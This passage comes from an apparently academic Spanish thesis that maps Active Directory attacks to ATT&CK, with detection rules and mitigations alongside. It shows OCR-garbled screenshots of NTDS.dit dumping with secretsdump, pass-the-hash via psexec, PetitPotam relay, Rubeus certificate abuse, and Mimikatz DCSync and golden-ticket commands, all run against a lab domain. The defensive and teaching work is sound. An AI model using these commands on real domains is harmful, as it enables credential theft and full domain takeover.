que permite crear y restaurar copias de seguridad de la base de datos de Directorio Activo.
Posteriormente crea una copia completa y la guarda en el directorio temporal. Finalmente,
con las dos ’q’, termina la ejecucion de las herramientas IFM y ntdsutil.exe. Dado que los
comandos se ejecutan dentro de la herramienta de forma secuencial puede observarse todo
el proceso de copia.

Una vez el adversario obtiene una copia de la base de datos con la que poder trabajar, debe
extraer la informacion de esta. Para realizar este proceso, se puede usar una herramienta
de Impacket, secretsdump. Para ello se movera la copia del controlador a una méaquina
controlada por el atacante, al igual que se explico en el escenario 2 de la técnica “T1003.001:
OS Credential Dumping: LSASS Memory” en la seccion [6.1.3]

Para extraer la informacion de la base de datos utilizando la herramienta secretsdump.py

es necesario proporcionar tanto el archivo ntds.dit con la base de datos como el archivo de
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Figura 6.19: Realizacion de una copia del fichero NTDS.dit utilizando ntdsutil.exe.

registro SYSTEM, ambos extraidos con ntdsutil.exe. Tras ejectuar la herramienta, como se

puede ver en la figura [6.20, se extraen del archivo todos los hashes de los usuarios.

[471 )-[/usr/share/doc/python3-impacket/examples ]|
—4 ./secretsdump.py -ntds /home/kali/Downloads/ntds.dit -system /home/kali/Downloads/SYSTEM LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x875af540a75cc9d045b3d44d37fc2fbl

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] searching for pekList, be patient

[*] PEK # @ found and decrypted: 13077a1056493b5d4bc4f65e8b141343

[*] Reading and decrypting hashes from /home/kali/Downloads/ntds.dit
Administrador:500:aad3b435b51404eeaad3b435b51404ee:920ae267e048417fcfe@0f49echbd4ib33):::
Invitado:501:aad3b435b51404eeaad3b4s35b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0 :::
DC01$:1000:aad3b435b51404eeaad3b435h51404ee:d0b51943807b671c381c772f4ed999ac
krbtgt:502:aad3b435b51404eeaad3b4t35b51404ee:e74fb21372b8fa7b604af3ad78db1227 :::
ACME.locallantonio.garcia:1103:aad3b435b51404eeaad3b435b51404ee:51722c51ad2847b1e77273798d81585d:::
WS01$:1104:aad3b435b51404eeaad3b435b51404ee:e5cF982872F1b822b19b20969825bF41 :::
SQLSERVER$:1105:aad3b435b51404eeaad3b435b51404ee:c19fb04alcd890283e4940a3f10a80ef :::

ACME . local\MSSQLEXPRESS:1106:aad3b435b51404eeaad3bs35b51404ee: 45ebtfecefd932bd59bebs97331bd3d6 :::
ACME.local\PrintServiceAccount:1108:aad3h435h51404eeaad3b435b51404ee: 40hc483a2937Cc926C0297cab31
ACME.local\ana.herrera:1109:aad3b435b51404eeaad3bs35b51404ee:07f8ff69dac2525c0828f75880b348e3 :::
[*] Kerberos keys from /home/kali/Downloads/ntds.dit
Administrador:aes256-cts-hmac-shal-96:303ff8edelala6875c99e596e60ach75284ddad10213e978c417d2ealb58afbf
Administrador:aes128-cts-hmac-shal-96:17d186b3f84e903b9e78eb44cdl57a9a
Administrador:des-chc-md5:80155268aech6e02
DC01$:aes256-cts-hmac-shal-96:c4dc537a82e58e9e98f28efe@f35ca62c12339742871e954F4ckbeb36444b5cH
DCO1$:aes128-cts-hmac-shal-96:0c5199ec3dd78f3f1b90f523b34f66b7
DCO1$:des-chc-md5:3897459b0d9d@2ec

krbtgt:aes256-cts-hmac-shal-96:502

Figura 6.20: Extraccion de hashes de NTDS.dit utilizando secretsdump.py.

Como se aprecia en la extraccion de hashes, los de los usuarios Administrador y an-
tonio.garcia coinciden con los que se extrajeron a través del proceso LSASS, los cuales se
muestran en las figuras [6.7 y [6.8

Dentro de todos los hashes, uno de los mas ttiles para el adversario es de la cuenta krbtgt,

pues como se verd en la seccion [6.2.1] este puede ser utilizado para llevar a cabo la técnica
“T'1558.001: Steal or Forge Kerberos Tickets: Golden Ticket”.
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Escenario 2: Copia de la base de datos utilizando Volume Shadow Copy

En este escenario el adversario posee privilegios de administrador en el controlador de
dominio. En este caso se utilizara el servicio de instantaneas de volumen, conocido como
Volume Shadow Copy. Esta herramienta permite realizar copias de datos de una aplicacién
sin tener que detener esta.

La herramienta vssadmin permite crear, listar y borrar instantaneas de volumen. Esta
herramienta se encuentra instalada por defecto en todos los sistemas Windows. Una vez
creada una instantanea los adversarios pueden utilizarla para acceder a los archivos necesa-
rios. El funcionamiento es similar al escenario anterior, pero algo mas manual, pues se deben
seleccionar los archivos a copiar. Esto también hace que sea més dificil de identificar

Como se puede ver en la figura [6.21] el adversario primero debe crear una instanténea
del volumen C:, donde se encuentran los archivos a copiar. Tras eso, puede copiar desde la
instantanea tanto el archivo con la base de datos, ntds.dit, como el archivo de registro con
la bootkey para poder leerlo. A fin de limpiar su rastro el adversario elimina la instantédnea

utilizando el identificador de esta.

{for=C:
/ C:
de linea de comandos del Ser io de instantaneas de wvolumen.

rectamente una

de volumen.

¢Realmente desea eliminar 1 instantaneas / [N]2 Y
Se eliminaron correctamente 1 instantaneas.
\temp

El volumen de 1: no tiene etiqueta.
El nimero de serie del volumen es: F15

Figura 6.21: Realizaciéon de una copia del fichero NTDS.dit utilizando la herramienta vssad-
min.

Una vez el adversario ha conseguiido copiar ambos archivos, el procedimiento que debe
seguir es el mismo al explicado en el escenario anterior. Primero extraerlos y posteriormente

extraer informaciéon
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Deteccion de la técnica

Para poder detectar la técnica pueden utilizarse dos fuentes de datos, los comandos
ejecutados y los archivos creados.

En cualquier escenario el adversario necesita ejecutar comandos para poder copiar la base
de datos. Un posible método de deteccion es analizar los comandos que se ejecutan con el
fin de detectar si alguno intenta realizar una copia del archivo NTDS.dit.

Al crearse un proceso se generan los eventos 4688 de Windows y 1 de Sysmon. El obtetivo
es detectar aquellos procesos que utilicen vssadmin o ntdsutil y aquellos que involucren a
ntds.dit.

En la figura[6.22) puede verse la informacion que proporciona el evento 10 de sysmon que

se genera al realizar una copia igual que en el escenario 1.

@ Propiedades de evento: Evento 1, Sysmon >

General Detalles

Process Create:

RuleMame: technique_id=T1086, technique_name=PowerShell
UtcTime: 2024-06-07 09:07:38.320

ProcessGuid: {eed3eacc-cdda-6662-cb01-000000001c00}
Processld: 932

|Image: Ch\Windows\System32\ntdsutil.exe |
FileVersion: 10.0.20348.469 (WinBuild.160101.0800)
Description: NT3D5

Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation

OriginalFileName: ntdsutil.exe

CommandLine: "C:\Windows'\system32\ntdsutil.exe
CurrentDirectory: Ch\Users\Administradorl,

User: ACME\Administrador

LogonGuid: {eed3eacc-ad43-6662-b367-070000000000}

Logonld: 0x767B8

TerminalSessionld: 1

IntegrityLevel: High

Hashes: SHA1=59039A50E40619C0243ABADFA3337940D6F2EFT9, MD5=2173E04FAAESCIBTABT1 TD22ATBDFIAB, SHAZ56=
1A391B1F4702A623D9C139EE40102830609A2B38DFDCF1B79D9927856A 784181, IMPHASH=F6602C076426F42651DFE72CIA862291
ParentProcessGuid: {eed3eacc-cdb2-0662-c01-000000001c00}

ParentProcessid: 948

Parentimage: C:\Windows\System32\WindowsPowerShell\w1.0\powershell.exe

ParentCommandLine: "CA\Windows\System32\WindowsPowerShellw 1.0\ powershell exe”

ParentUser: ACME\Administrader

ac i ntds" ifm "create full c\temp” qq

Mombre de registro:  Microsoft-Windows-5ysmon/Operational

Origen: Sysmon Registrado: 07/06/2024 11:07:38
Id. del 1 Categoria detarea:  Process Create (rule: ProcessCreate)
Mivel: Infermacicn Palabras clave:
Usuario: SYSTEM Equipo: DCO1.ACME local
Cédige de operacion:  Informacidén
Mas informacicn: Ayuda Registro de eventos
Copiar Cerrar

Figura 6.22: Evento 1 de Sysmon generado al copiar la base de datos NTDS.dit utilizando
ntdsutil.
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Para detectar el uso de ntdsutil o vssadmin para realizar una copia de el fichero NTDS.dit

se puede utilizar la siguiente condicion:

(sysmon.eventID=1) AND
(sysmon.event.CommandLine.contains ( ) AND
sysmon.event .CommandLine.contains ( ) AND
sysmon.event.CommandLine.contains ( ))
OR
(sysmon.event.CommandLine.contains ( ) AND
sysmon .event .CommandLine.contains ( ) AND

sysmon.event.CommandLine.contains ( ))

Otro enfoque puede ser el detectar la creacion de la copia en un archivo. Esto es mas
complicado, pues la creacion de archivos genera el evento 11 de Sysmon. Como se puede
apreciar en la figura el evento generado contiene el archivo y la ruta donde se ha

realizado la copia, pero no el archivo que ha sido copiado.

{4] Propiedades de evento: Evento 11, Sysmon >

General Detalles

File created:

RuleMame: technique_id=T1047 technique_name=File Systern Permissions Weakness
UtcTirne: 2024-06-07 09:26:06.384

ProcessGuid: {eed3eacc-blee-6662-4307-000000001 <00}

Processld: 3904

Image: CAWindows\system32\cmd.exe

| TargetFilename: Chtemp'intds.dit |

CreationUtcTime: 2024-06-07 07:05:39.328

User: ACME\Administrador El
Mombre de registro: Microsoft-Windows-5ysmon/Operational &
Crigen: Sysmaon Registrado: 07/06/2024 11:26:06
Id. del 11 Categoria de tarea:  File created (rule: FileCreate)

Mivel: Informacian Palabras clave:
Usuario: SYSTEM Equipo: DCO1ACME. local
Cédigo de operacion: Informacicn
Mas informacion: Ayuda Registro de eventos
Copiar Cerrar

Figura 6.23: Evento 11 de Sysmon generado al copiar la base de datos NTDS.dit desde una
instancia del volumen.

En el caso de que el adversario utilice vssadmin es complicado crear una regla que detecte

la creacion de una copia de archivo ntds, pues el adversario puede elegir la ruta de la copia
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y el nombre de esta. En cambio, si utiliza ntdsutil, aunque pueda elegir la ruta, siempre se
creard el archivo ntds.dit dentro de una carpeta llamada “ Active Directory” por lo que

puede detectarse con la siguiente condicion:

(sysmon.eventID=11) AND

(sysmon.event.CommandLine.contains ( )

En cualquier caso el evento 11 es 1til pues puede correlacionarse con el evento 1 y compro-
bar si el adversario tuvo éxito al realizar la copia, ademas de poder identificar su ubicaciéon
y analizar que acciones se realizaron sobre ese archivo. Como se ha comentado, el adversario
necesita extraer informacion de la copia, por lo que analizar los movimientos puede utilizarse

para detectar la forma en que el adversario esté realizado una posible exfiltracion.

Mitigacion de la técnica

Las mitigaciones de esta técnica propuestas en ATT&CK se centran en evitar que un
adversario obtenga los privilegios necesarios para llevarla a cabo, es decir, acceso como ad-
ministrador en el controlador de dominio. Para ello es importante una buena gestion de
cuentas privilegiadas, dando a los usuarios solamente acceso a lo que deberian y comparti-
mentando privilegios para que las cuentas de administracion estén separadas de las cuentas
de usuario. También es necesaria una buena politica de contrasenas, que obligue a que estas
sean robustas y expiren. Finalmente es necesario entrenar a los usuarios en materia de ciber-
seguridad, para que sean conscientes de los riegos que existen y no faciliten el ataque a los
adversarios. Como ejemplo, si un usuario que tiene privilegios de administraciéon en su cuen-
ta, mala configuracion, cae en un ataque de Phishing y sus credenciales son comprometidas,
falta de concienciacion, un adversario puede obtener acceso a la base de datos del dominio

y por tanto a toda la informacién de este.

6.1.5. T1550.002: Use Alternate Authentication Material: Pass the
Hash

Este ataque permite que un adversario se autentique como un usuario utilizando el hash
NTLM de la contrasena de este, sin necesidad de conocer su contrasena en texto claro. Una
vez el adversario posee un hash NTLM de un usuario, puede solicitar tickets de Kerberos
con ellas, lo que le permite acceder a servicios en el dominio suplantando la identidad de este
usuario. Este ataque es posible pues como se ha visto en la explicacion de Kerberos en la
seccion [3.1.3] en ningtin momento se utiliza la contrasefia en texto claro, solamente se utiliza
el hash que genera, que es lo que comprueba el servicio de autenticacion (AS).

Para realizar este ataque, el adversario necesita el hash de un usuario, que puede haber

obtenido mediante alguna subtécnica de la técnica “T1003: OS Credential Dumping”, como

las vistas en las secciones y[6.1.4
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Utilizacién por adversarios

Esta técnica es utilizada por muchos adversarios para realizar movimientos laterales en
el dominio. Esta técnica es relevante pues aunque las contrasenas sean robustas y seguras,
los adversarios no necesitan obtener la contrasena en texto claro, por lo que podran evitar el
esfuerzo de realizar la técnica “T'1110.002: Brute Force: Password Cracking”. Ademas, en caso
de ser una contrasena lo suficientemente robusta, el tiempo de computacién necesario para
obtener la contrasena en texto claro puede hacer que sea imposible recuperar la contrasena.

Segin Mandiant, se tiene constancia de que el grupo Wizard Spider ha utilizado esta
técnica para realizar movimientos laterales [26]. Segiin un reporte de inteligencia de Microsoft
APT28 también ha sido observado utilizando esta técnica para realizar la misma tactica,
moverse lateralmente por el dominio [13].

Los adversarios utilizan muchas herramientas para implementar esta técnica. Entre ellas
se encuentran psexec.py de Impacket, Mimikatz, CrackMapExec o PtH-Toolkit.

Para poder realizar el ataque el adversario debe tener al menos un hash NTLM valido.
Debe poder establecer una comunicacion con la maquina victima y la cuenta comprometida
debe poder conectarse remotamente a esa méaquina.

Esta técnica supone un gran problema de seguridad pues en muchas ocasiones se utiliza
una misma cuenta en muchos dispositivos del dominio, por lo que si un adversario es capaz
de comprometer alguna cuenta asi podra realizar gran cantidad de movimientos laterales.
Dado que los hashes NTLM no tienen ninguna sal, salt en inglés, son idénticos en todas las

maquinas del dominio.

Escenario: Conexion desde maquina no unida al dominio con psexec.py

En este escenario se supondra que un adversario ha obtenido acceso a la red interna la
red interna y ha conseguido obtener el hash NTLM del usuario Administrador. Este hash
puede haberlo obtenido explotando “T'1003.001: OS Credential Dumping: LSASS Memory”,
visto en la seccion [6.1.3] “T'1003.006: OS Credential Dumping: DCSync”, el cual se vera
en la seccién entre muchas otras técnicas, donde también se encuentra “T'1557.001:
Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay.

La importancia de este ataque se basa en que aunque se establezca y se cumpla una
buena politica de contrasenas, el adversario no necesita utilizar fuerza bruta para obtener la
contrasena en texto claro, puede utilizar el propio hash para autenticarse.

El ejemplo mas comiin de esta técnica es el uso de la herramienta de impacket psexec.py.
El procedimiento puede verse en la figura [6.24] Esta herramienta utiliza el hash del usuario
para realizar la autenticacion, posteriormente busca un recurso compartido en el cual pueda
escribir para subir una shell reversa, crea un servicio asociado a esta shell y lo inicia. Esto
provee al adversario una shell en la maquina en el contexto del usuario sistema, el usuario

con mas privilegios a nivel local en una maquina.
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yython3 psexec.py -h 5 1920ae267e048417fcfe@0f49echd4b33 Administradorgl92.168.1.100
Impacket v@.12.0.devl - Copyright 2023 Fortra

[*] Requesting shares on 192.168.1.100

[*] Found writable share ADMIN$

[*] Uploading file xqgiNpaFY.exe

[*] Opening SVCManager on 192.168.1.100

[*] Creating service gwuc on 192.168.1.100

[*] Starting service gwuc

[!] Press help for extra shell commands

[-] Decoding error detected, consider running chcp.com at the target,

map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [Versien 10.0.20348.587]

(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
DCo1

C:\windows\system32> |

Figura 6.24: Utilizacion de psexec.py para realizar un ataque Pass the Hass.

Deteccion de la técnica

Debido a la dificultad de detectar el uso de esta técnica gran parte de las detecciones se
centran detectar el uso de las herramientas para llevarla a cabo. En caso de realizar el ataque
en local, se puede intentar detectar el uso de herramientas maliciosas como Mimikatz, asi
como los comandos que deben ejecutarse en estas.

En el caso de psexec.py, esta herramienta siempre va a intentar crear un archivo en un
recurso compartido con un nombre aleatorio de 8 caracteres alfanuméricos mas la extension
“.exe”. También creard un servicio asociado a ese binario con un nombre aleatorio de 4
caracteres alfanumeéricos. Y se creara una conexién a una maquina remota en el contexto del

usuario sistema.

Mitigacién de la técnica

Esta técnica es complicada de mitigar. Se debe intentar no permitir a los adversarios
acceder a los hashes de las contrasenas, para ello es necesario aplicar el principio del menor
privilegio posible junto a una buena politica de contrasenas y actualizaciones de seguridad
constantes.

A fin de evitar que el adversario pueda utilizar esos hashes en otras méaquinas también
se debe evitar la reutilizaciéon de credenciales en diferentes maquinas e intentar aislarlas lo
més posible con el fin de que cada usuario solo pueda acceder a lo estrictamente necesario.

Se debe tener especial cuidado en las maquinas
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6.2. Ejemplo de ataque mas complejo

6.2.1. PetitPotam para comprometer completamente un dominio

Segtn el informe de ciberamenazas y tendencias, edicion 2023, del CCN-CERT, Petit-
Potam es una vulnerabilidad que permite el control completo de un dominio con AD CS
(Active Directory Certificate Services). El objetivo del ataque es enganar a un equipo de
Windows para que se autentique contra otro a través de LSARPC. La explotaciéon exitosa
significa que el servidor destino realizara la autenticacion NTLM a un servidor arbitrario,
teniendo la capacidad de realizar cualquier accion sobre el dominio [52]. La vulnerabilidad
PetitPotam se identifica como “CVE-2021-36942”, con severidad alta.

Un escenario de ataque es forzar al controlador de dominio para que se autentique contra
la méquina atacante, configurada con un relé NTLM. El atacante puede retransmitir esta
autenticacion a la Autoridad de Certificados para solicitar un certificado, el cual estaré a
nombre de la cuenta del Controlador de Dominio. Cémo se explico en la seccion [3.1.1] todos
los recursos de Directorio Activo se consideran como objetos objeto, incluyendo ordenadores,
esto implica que también tengan cuentas en el dominio.

El certificado con el que se suplanta la identidad de la cuenta del controlador de dominio
puede ser usado por el atacante para generar un ticket TGT que le permita autenticarse
en el controlador de dominio sin neceisdad de credenciales. Una vez en el controlador de
dominio, el atacante puede realizar ataques para volcar credenciales del sistema operativo,
como las técnicas del volcado de la memoria LSASS, T1003.001; DCSync, T1003.006 o NTDS,
T1003.003. Tras tener acceso a toda la informaciéon sobre credenciales del dominio, puede
utilizar el hash NTLM de la cuenta KRBTGT para realizar la técnica T1558.001, conocida
como Golden Ticket.

Para la explotacion de esta vulnerabilidad, se utilizaran las técnicas de la tabla [6.2

TAactica ID Técnica | Técnica Subtécnica
Acceso a credenciales | T1187 Forced authentication

Acceso a credenciales | T1558 Steal or Forge Kerberos Tickets

Movimientos laterales | T1550.003 Use Alternate Authentication Material | Pass the Ticket
Acceso a credenciales | T1003.006 OS Credential Dumping DCSync
Persistencia T1558.001 Steal or Forge Kerberos Tickets Golden Ticket

Tabla 6.2: Técnicas utilizadas para explotar PetitPotam

Entorno y ataque

El entorno donde se va a explotarla vulnerabilidad consta de un controlador de dominio,
y servidor con el rol de autoridad de certificados, una estacion de trabajo unida al dominio

y una maquina Kali Linux en la red interna pero no en el dominio. El adversario controla
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completamente la maquina Kali y ha conseguido acceso de la estacion de trabajo como un
usuario del dominio no privilegiado.
Para explotar la vulnerabilidad CVE-2021-36942 el adversario debe seguir los pasos que

se explican a continuacién y se muestran en el diagrama de la figura [6.25

Controlador de Semvidor de
Dominio Cerificados
(DCO01) (ADCS)

@ @/ [@

PetitFotam.py

Kali Linux

Figura 6.25: Diagrama de la explotacion de PetitPotam (CVE-2021-36942).

1. El adversario ejecuta el script “PetitPotam.py” desde su maquina Kali Linux para
forzar al controlador de dominio que se autentique contra una maquina de su eleccién

explotando la vulnerabilidad. En este caso se autentica contra la misma maquina.
2. El controlador de dominio se intenta autenticar contra la méquina Kali Linux.

3. La maquina kali Linux reenvia ese intento de autenticaciéon al servidor de certificados

utilizando la herramienta ntlmrelayx.py.

4. El servidor de certificados recibe la solicitud de autenticaciéon reenviada por la maquina

Kali Linux y devuelve un certificado de autenticacion en base64.

Una vez explotada la vulnerabilidad, el adversario dispone de un certificado el cual puede
usar para suplantar la cuenta “DC01$”, con maximos privilegios en el dominio.

Este ataque se puede ver de forma practica en la figura [6.26] El atacante ejecuta la he-
rramienta ntlmrelayx.py con los parametros necesarios para reenviar la solicitud que recibe
al servidor de certificados. Tras eso, ejecuta el script PetitPotam.py para forzar una autenti-
cacion del controlador de dominio contra la misma maquina, donde ntlmrelayx.py esta a la

espera de recibir peticiones. El script PetitPotam.py se ejecuta con éxito, el controlador de
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dominio se intenta autenticar contra la méquina Kali, la cual reenvia la peticién al servidor
de certificados. La autenticacion tiene éxito y el servidor de certificados reenvia un certificado

de autenticacién en base64 correspondiente al usuario “DCO01$”

~[/opt/impacket-0.11.0/exannles - ~[~/PetitPotam
t .1 asp” DomainController a
UNKNOWN group default glen 1000

mtu 1500 qdisc noqueue e group default
£ FF

/16 bry
lid_1ft for

~[~/PetitPotam
PetitPotam.py 192.168.1.103 .168.1,100

[\PIPE\

00ca4fdInfTe

enFileRaw is prol

ption!!

~[~/PetitPotam

Figura 6.26: Explotacion de PetitPotam (CVE-2021-36942).

Una vez el adversario ha obtenido el certificado, puede utilizarlo en la estacion de trabajo
que ha comprometido anteriormente para escalar privilegios en el dominio obteniendo un
TGT asociado a la cuenta del controlador de dominio.

Para ello puede utilizar la herramienta Rubeus como se ve en la figura [6.27] la cual no

muestra el comando completo pues el certificado utilizado tiene casi 6000 caracteres.

antnnin garcia\Download
SckC ql;SIb%DDEHﬁa! ERgEghEUMIIREDCCBBC

At ]X113thdOPlIBHXd;TW

YTlS:(Su]IJI{ag:cFF:TH cbwiG2 JE/
fsId1IXugqmajj51+DQn 911793echijF Iy ( 5 kpczDSALWLnbnBVnaPLEGDmC loGpTeDSP
p4fB130Q8LIydEqMFsiBMPILZmlfqPPm3FjII394sDB5Ft18BxIFHfADkwn+rB5WGYK 3wgpOFR+MriGGmeR1W,

xpBoaDQel EI‘-Ja_\,f]VHE,-'Am-f]yc \ » 5 t
+Ir-7|1q aOt)MpoEQ[;t_iPuSth:-(B]tllsBiB ] CQ) JBphVQ. LCojW/kUK9+Mg7i3xfvE
{ j dEzzStNGz3BCe23rfdM
<Is/nbATVNMBTulitLC
p‘tmEnEL'QUtl goEmYox
Qngbiadko
3192+F /NIAWSiTikUCsWe44aUynmle,/3710uMjDwwih Q7 SwyMnWAD1nfokGCk7 pHhXROQBVS+pgHMCZgkdDM+s9uZ596
vyt /KaGhgK4Bpu9DPGeIWUbEWLGNMFSiL179EMzx1IHXUT1IME2qrCY3BmSoiGysbiSerXyilTv7rXVYvBalCy 2y LCdYIPbepoul A
olU195FZkolN9@s9hKC8FXZ072enjXx6LrQ4b+e8DFTLEIvZ Bw ZEBLA7739c9+6k0+K/D3/smj12L7+Iq1Q53WF,
JeZuT1KHyNLdTuV5DLE /Z6Q0PmAGKVgw+ Tmao8ksiwBIhKFTZglavhf@ypXveaeoZoPFX0zow7BMT 36 pXUAP1EulA+Hl+J‘1F
BL65H7PSVEIr] wB5t1kbSMbgrCf3rSLjqVpePdgfvl/1IUoa7 () JIyAPll:SGpP"' q5zdV7 pu9MTuTTth3qB=’w1ﬂE
gnsWh+myCQsHpyIZT+zohBQpdKodaMde15MuggnBBgkqhkiGOwaBB i
gQI3eo J AggABITISMcr 18dV/4z+DElcneTMr
kEBmMLV67 1y

Figura 6.27: Comando utilizado para obtener un TGT con Rubeus utilizando un certificado.
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Con este comando se esta solicitando un ticket TGT a nombre del controlador de dominio.
Como método de autenticacion, en vez de una contrasena o un hash se esta utilizando el
certificado de autenticacion que se obtuvo anteriormente. Con el pardmetro “ptt” se indica
a Rubeus que debe realizarse la téncica “T'1550.003: Use Alternate Authentication Material:

Pass the Ticket”, por lo que ese ticket debe inyectarse en la sesion actual para ser utilizado.

En la figura puede observarse la salida del comando anterior. Como puede verse, la
peticion se ha realizado con éxito y se ha obtenido un ticket TGT para la cuenta “DC01$”

el cual se ha importado correctamente.

[*] Action: Ask TGT

Using PKINIT with etype rc4 hmac and subject: CN=DC&1.ACME.local
Building AS-REQ (w/ PKINIT preauth) for: "ACME.local\DC@1%'
Using domain controller: 168.1.188:88

TGT request s essful!

basebd(ticket.kirbi):

uHUOOHhU34§dE3RtI=TPl
®2FyjutzHuy
4;(+OHEque3

J+B+Umaulu td’l
’“Pqu1Rqupxb

ServiceName

ServiceRealm

UserName

UserRealm

StartTime

EndTime

RenewTill

F1 : name_canonicalize, pre_authent, initial, renewable, forwardable
rcd _hmac

Figura 6.28: Obtencion de un TGT con Rubeus utilizando un certificado.
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Para comprobar que el ticket se ha importado correctamente, puede utilizarse el comando
“klist”, que muestra los tickets de Kerberos almacenados en la memoria caché, como puede
verse en la imagen [6.29

PS C:\Usershantonio.garcia\Downloads>» klist
El id. de inicio de sesidn actual es B:8xa8abl
Jales almacenados en caché: (1)

Cliente: DCB1% @ ACME.LOCAL
Servidor: krbtgt/ACME.local @ ACME.LOCAL
Tipo de cifrado de vale Kerberos: AES-256-CTS-HMAC-SHA1-96
Marcas de vale Bx4@e18800 -> forwardable renewable initial pre_authent name_canonicalize
Hora de inicio: ‘
Hora de finaliz
Hora de renovacidn:
Tipo de clave de sesidn: RS
Marcas 5: 8x1 -> PRIMARY
KDC llamado:
PS C:\Usershantonic.garcia\Downloads> _

Figura 6.29: Ticket de kerberos asociado a la cuenta DCO01$ almacenado en caché.

Gracias a obtener un ticket con tantos privilegios, el adversario puede realizar diferentes
ataques que le permitan realizar movimientos laterales y mantener persistencia en el dominio.

Para ejemplificar como podria un adversario obtener persistencia se utilizara la técnica
“T'1003.006: OS Credential Dumping: DCSync” para obtener el hash NTLM de la cuenta
krbtgt. Este hash permitira la realizaciéon de la técnica “T'1558.001: Steal or Forge Kerberos
Tickets: Golden Ticket”.

El ataque DCSync consiste en simular ser un controlador de dominio y solicitar a un
controlador de dominio replicar la informacion que contiene. Esto es posible gracias a que en
un dominio, por motivos de disponibilidad, separacion de roles o reducir tiempos de respuesta
en caso de tener un dominio distribuido geograficamente. Para poder realizar la operaciéon de
replicacion son necesarios los permisos “DS-Replication-Get-Changes-All” y “DS-Replication-
Get-Changes”. Estos permisos suelen estar disponibles en los grupos de Administradores
de Dominio, Administradores de Empresa y Administradores y Controladores de Dominio.
Existe la posibilidad de que algtin otro usuario o grupo tenga permisos para realizar este
ataque, pues explota una funcionalidad necesaria en la administracion de los entornos de
Directorio Activo.

Para realizar el ataque DCSync solo debe utilizar, como se aprecia en la figura [6.30, un
comando dentro de Mimikatz. Gracias a este ataque el adversario ha obtenido los hashes
de todas las cuentas del dominio. Dado que el ticket TGT de la cuenta del controlador de
dominio esté cargado en caché, como se comprueba en la figura [6.29] se poseen los privilegios
necesarios para realizar el ataque.

Una vez obtenido los hashes del dominio, el adversario podria intentar realizar la técnica

“T1110.002: Brute Force: Password Cracking” con el fin de obtener alguna de las credenciales
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C:\Users\antonio.garcia\Downloads> .‘\mimikatz.

FHEHHE . mimikatz 2.2.6 (x64) #19841 Sep 19 2822 17:44:88
JHE O~ ##. A La Vie, A L'Amour” - (oe.eo)
# /S N\ #F /*** Benjamin DELPY " gentilkiwi® ( benjaminggentilkiwi.com )}
# O\ S » https://blog.gentilkiwi.com/mimikatz
THE v #ET Vincent LE TOUX { vincent.letouxggmail.com )
THEEEEES » https://pingcastle.com / https://mysmartlogon.com

mimikatz # lsadump::dcsync fall fcsv
[Dl] "ACME.local” will be the domain
[DC] 'DC@1.ACME.local’ will be the DC server
[DC] Exporting domain "ACME.local’
[

rpc] Service : ldap

[rpc] AuthnSvc : GSS NEGOTIATE (9)
krbtet “4+b113“1b fa7bebdat3ad78db1227 514
MSSQLEXFRESS A45ebdfecefd932bd59bebd97331bd3de o6B48
Prints EPM1:EAEEUUHt 48bcd483a2937cC cBEQ?cabElB?ﬂcl?
ana.herrera B7feff60dac2525cB828f758808b348e o6B48
Administrador 028222672848 41*+:+e@9+4ﬂe:bd4b33 66848
antonio.garcia G&: c51ad2847b1e77273798d81585d 666848
SQOLSERVER#% clo9fbBdalcdiop2s 394J4833+1Ba 0ef 4896
ADCS% 289922blcale24ab88f8eeb554d21e53 4896
DCe1% debt1943867b671c381c772f42d999ac L32488
WSe1% e5cfo8287211b822b19b26969825bT41 4896

Figura 6.30: Realizacion de la técnica DCSync utilizando Mimikatz.

de los usuarios en texto claro. Esto le permitiria obtener persistencia y realizar movimientos
laterales en el dominio mediante la técnica “T1078: Valid accounts”. Sin embargo, dado
que el adversario ha obtenido el hash NTLM de la cuenta krbtgt, puede utilizar la técnica
“T'1558.001: Steal or Forge Kerberos Tickets: Golden Ticket”. Esta técnica permite a los
adversarios generar un TGT valido para cualquier cuenta del dominio, lo que les da acceso
a cualquier servicio del dominio. Algo especialmente importante de esta técnica es que dado
que se obtiene un TGT, aunque un usuario cambie su contrasena el ticket sigue siendo valido,
por lo que la persistencia con maximos privilegios en el dominio puede durar anos, en funcién
de la caducidad del ticket.

Para crear el Golden Ticket el adversario puede utilizar la herramienta Mimikatz, a la
que debera proporcionar el SID del dominio, el hash NTLM del usuario krbtgt y un nombre
de usuario para el cual crear el ticket. Esto puede verse en la figura donde ademas se

incluye el parametro “ptt” para almacenar el ticket en la sesion actual.

Como se aprecia en la salida del comando, se genera un Golden Ticket a nombre del
usuario Administrador, con un UID con valor de 500, el cual coincide con el del administrador
del dominio. Si bien el adversario puede introducir cualquier nombre de usuario para crear
el ticket, incluido uno inventado que no existe en el dominio, al crear el ticket a nombre del
Administrador tendré acceso a todos los recursos del dominio a los que tenga acceso esta

cuenta.
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garcia\Downloads> whoami /user

a\Downloads> .\mimika

@ (x64) #19041 Sep 19

mimikatz # kerbero /rca:e7afb21 1227 /user:Administrador /ptt
lUser dmi

Golden ticket for 'Administrador @ ACME.local' successfully submitted for current session

Figura 6.31: Realizacion de la técnica Golden Ticket utilizando Mimikatz.

En la figura [6.32] puede verse como, utilizando el usuario antonio.garcia en una sesion
con el ticket TGT a nombre del usuario Administrador, se pueden listar los contenidos de un
recurso compartido. En la figura [6.33] puede comprobarse que en caso de no tener el ticket de
Administrador cargado este usuario no tiene permisos de leer los contenidos de ese recurso
compartido.

Como puede verse, gracias a explotar la vulnerabilidad PetitPotam, un adversario ha
pasado de controlar un usuario en una estaciéon de trabajo a tener control sobre todo el
dominio. Para ello se ha explotado la vulnerabilidad y se han utilizado otras técnicas para

atacar entornos de Directorio Activo, las cuales pueden verse en la tabla

Deteccion de las técnicas utilizadas

Una forma de detectar la utilizacion de PetitPotam en un dominio es mediante el evento
de Windows 4768, solicitud de TGT. En el caso de que se realice este ataque, se generara
un nuevo TGT a nombre de la cuenta del controlador de dominio, pero la direcciéon IP que
la solicite no sera la del dominio. Ademas, gracias a este método puede descubrirse cual fue
el dispositivo de la red que actué de relé en el ataque, pues aparecera como la méaquina que
solicitd el TGT.

